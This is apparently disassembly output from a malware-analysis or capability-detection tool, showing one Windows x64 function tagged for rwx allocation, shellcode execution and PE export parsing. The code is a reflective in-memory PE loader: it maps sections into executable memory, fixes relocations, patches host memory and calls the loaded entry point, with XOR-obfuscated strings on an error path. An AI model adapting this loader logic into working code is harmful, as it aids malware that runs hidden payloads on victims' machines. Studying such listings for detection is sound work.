Function at 0x140014b40
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0xc8
mov r14, r8
mov esi, edx
mov rdi, rcx
mov byte [0x140448de8], 1
mov rax, qword [r8]
test rax, rax
je 0x140014b86
movzx ecx, word [rax]
cmp ecx, 0x5a4d
jne 0x140014b86
movsxd rcx, dword [rax + 0x3c]
cmp rcx, 0x400
jle 0x140014e3f
xor r15d, r15d
mov edx, dword [r15 + 0x50]
mov rcx, qword [r15 + 0x30]
mov r8d, 0x3000
mov r9d, 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
test rax, rax
je 0x140014bb0
mov rbx, rax
xor r12d, r12d
jmp 0x140014bdb
mov edx, dword [r15 + 0x50]
xor ecx, ecx
mov r8d, 0x3000
mov r9d, 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
test rax, rax
je 0x140014e56
mov rbx, rax
mov r12, rax
sub r12, qword [r15 + 0x30]
mov r8d, dword [r15 + 0x50]
mov rcx, rbx
xor edx, edx
call fcn.14017cb30
mov qword [r15 + 0x30], rbx
mov rdx, qword [r14]
mov r8d, dword [r15 + 0x54]
mov rcx, rbx
call fcn.14017c490
cmp word [r15 + 6], 0
je 0x140014c48
lea r13, [r15 + 0x108]
add r13, 0x14
xor ebp, ebp
nop word cs:[rax + rax]
mov edx, dword [r13]
add rdx, qword [r14]
mov ecx, dword [r13 - 8]
mov r8d, dword [r13 - 4]
add rcx, rbx
call fcn.14017c490
inc rbp
movzx eax, word [r15 + 6]
add r13, 0x28
cmp rbp, rax
jb 0x140014c20
test r12, r12
je 0x140014d15
mov r8, qword [r14]
test r8, r8
je 0x140014d15
movzx eax, word [r8]
cmp eax, 0x5a4d
jne 0x140014d15
movsxd rax, dword [r8 + 0x3c]
cmp rax, 0x400
jg 0x140014d15
cmp dword [r8 + rax], 0x4550
jne 0x140014d15
add r8, rax
cmp dword [r8 + 0xb0], 0
je 0x140014d15
add r8, 0xb0
lea rcx, [rsp + 0x30]
mov rdx, rbx
call fcn.140015470
mov rcx, qword [rsp + 0x30]
mov rax, qword [rsp + 0x38]
cmp rcx, rax
je 0x140014cde
nop word [rax + rax]
movzx edx, word [rcx]
and edx, 0xfff
add edx, dword [rcx + 4]
add qword [rbx + rdx], r12
add rcx, 0x10
cmp rcx, rax
jne 0x140014cc0
mov rcx, qword [rsp + 0x30]
test rcx, rcx
je 0x140014d15
mov rdx, qword [rsp + 0x40]
sub rdx, rcx
cmp rdx, 0x1000
jb 0x140014d10
mov rax, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, rax
cmp rcx, 0x20
jae 0x1400150dc
add rdx, 0x27
mov rcx, rax
call fcn.14010eb98
mov rcx, rbx
call fcn.1400150f0
movsxd rax, dword [rbx + 0x3c]
lea rdx, [rbx + rax]
add rdx, 0xa0
xor ecx, ecx
cmp dword [rbx + rax + 0xa0], 0
cmove rdx, rcx
mov ecx, dword [rdx]
mov eax, dword [rdx + 4]
mov edx, 0xaaaaaaab
imul rdx, rax
shr rdx, 0x23
dec edx
add rcx, rbx
mov r8, rbx
call qword [sym.imp.KERNEL32.dll_RtlAddFunctionTable]
mov r13d, dword [r15 + 0x28]
add r13, rbx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov r15, rax
lea r14, [rax + 0xa00]
mov dword [rsp + 0x30], 0
mov rbp, qword [sym.imp.KERNEL32.dll_VirtualProtect]
lea r12, [rsp + 0x30]
mov edx, 4
mov rcx, r14
mov r8d, 0x40
mov r9, r12
call rbp
mov edx, 0x30
xor ecx, ecx
mov r8d, 0x3000
mov r9d, 4
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
xorps xmm0, xmm0
movups xmmword [rax], xmm0
movups xmmword [rax + 0x10], xmm0
movups xmmword [rax + 0x20], xmm0
mov qword [r15 + 0xa00], rax
mov rcx, qword [0x140448c80]
mov qword [rax + 8], rcx
mov rax, qword [str.eaUoVa2wMi7qMy29rCav5qwZWdhhv5Vk11111111111111111111]
mov rcx, qword [r15 + 0xa00]
mov qword [rcx], rax
mov rax, qword [r15 + 0xa00]
mov qword [rax + 0x10], rbx
mov r8, qword [rdi]
mov rcx, qword [r15 + 0xa00]
add rcx, 0x18
mov edx, 0x10
call fcn.1401938b8
mov rax, qword [r15 + 0xa00]
mov dword [rax + 0x28], esi
mov r8d, dword [rsp + 0x30]
mov edx, 4
mov rcx, r14
mov r9, r12
call rbp
xor ecx, ecx
xor edx, edx
call r13
nop
add rsp, 0xc8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea rdx, [rax + rcx]
xor r15d, r15d
cmp dword [rax + rcx], 0x4550
cmove r15, rdx
jmp 0x140014b89
movabs rax, 0xd42e09ef4bea4710
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0xb0], rax
movabs rax, 0xad3a694cc1652fb7
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0xb8], rax
movabs rcx, 0xed75299d24983555
mov qword [rsp + 0x30], rcx
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x30], rax
movabs rdx, 0xad3a694cc1652fea
mov qword [rsp + 0x70], rdx
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x30]
mov qword [rsp + 0x70], rax
mov r8, qword [rsp + 0x70]
movaps xmm0, xmmword [rsp + 0xb0]
xorps xmm0, xmmword [r8]
movaps xmmword [rsp + 0xb0], xmm0
movabs r8, 0x9f105df34db85b14
mov qword [rsp + 0x30], r8
mov r8, qword [rsp + 0x30]
mov qword [rsp + 0x70], r8
movabs r8, 0xc2481b29e1094e84
mov qword [rsp + 0x30], r8
mov r8, qword [rsp + 0x30]
mov qword [rsp + 0x78], r8
movabs r8, 0x7d78113c555a78c5
mov qword [rsp + 0x30], r8
mov r8, qword [rsp + 0x30]
mov qword [rsp + 0x80], r8
movabs r8, 0x7dc0cefa6d3d7fd8
mov qword [rsp + 0x30], r8
mov r8, qword [rsp + 0x30]
mov qword [rsp + 0x88], r8
movabs r8, 0x42b2c7d2ba3de17c
mov qword [rsp + 0x30], r8
mov r8, qword [rsp + 0x30]
mov qword [rsp + 0x90], r8
movabs r8, 0x5cdec752ff5648a
mov qword [rsp + 0x30], r8
mov r8, qword [rsp + 0x30]
mov qword [rsp + 0x98], r8
movabs r8, 0xe6c3a0ddf23e995a
mov qword [rsp + 0x30], r8
mov r8, qword [rsp + 0x30]
mov qword [rsp + 0xa0], r8
movabs r8, 0xcc7d056ae9380d70
mov qword [rsp + 0x30], r8
mov r9, qword [rsp + 0x30]
mov qword [rsp + 0xa8], r9
mov qword [rsp + 0x30], rcx
mov rcx, qword [rsp + 0x30]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rdx
mov rcx, qword [rsp + 0x28]
mov qword [rsp + 0x38], rcx
movabs rcx, 0x180a645f363558b7
mov qword [rsp + 0x28], rcx
mov rcx, qword [rsp + 0x28]
mov qword [rsp + 0x40], rcx
movabs rcx, 0xea1ab961d1d53bc
mov qword [rsp + 0x28], rcx
mov rcx, qword [rsp + 0x28]
mov qword [rsp + 0x48], rcx
movabs rcx, 0x30d3b3a1df4fc119
mov qword [rsp + 0x28], rcx
mov rcx, qword [rsp + 0x28]
mov qword [rsp + 0x50], rcx
movabs rcx, 0x6aa1cc10478144fe
mov qword [rsp + 0x28], rcx
mov rcx, qword [rsp + 0x28]
mov qword [rsp + 0x58], rcx
movabs rcx, 0xe6c3a0f3805bfd3b
mov qword [rsp + 0x28], rcx
mov rcx, qword [rsp + 0x28]
mov qword [rsp + 0x60], rcx
mov qword [rsp + 0x28], r8
mov rcx, qword [rsp + 0x28]
mov qword [rsp + 0x68], rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
movaps xmm0, xmmword [rsp + 0x70]
movaps xmm1, xmmword [rsp + 0x80]
movaps xmm2, xmmword [rsp + 0x90]
xorps xmm0, xmmword [rax]
movaps xmm3, xmmword [rsp + 0xa0]
movaps xmmword [rsp + 0x70], xmm0
xorps xmm1, xmmword [rax + 0x10]
movaps xmmword [rsp + 0x80], xmm1
xorps xmm2, xmmword [rax + 0x20]
movaps xmmword [rsp + 0x90], xmm2
xorps xmm3, xmmword [rax + 0x30]
movaps xmmword [rsp + 0xa0], xmm3
lea rdx, [rsp + 0x70]
lea r8, [rsp + 0xb0]
xor ecx, ecx
mov r9d, 0x10
call qword [sym.imp.USER32.dll_MessageBoxA]
xor ecx, ecx
call fcn.1401893d4
call fcn.14018c4a0
int3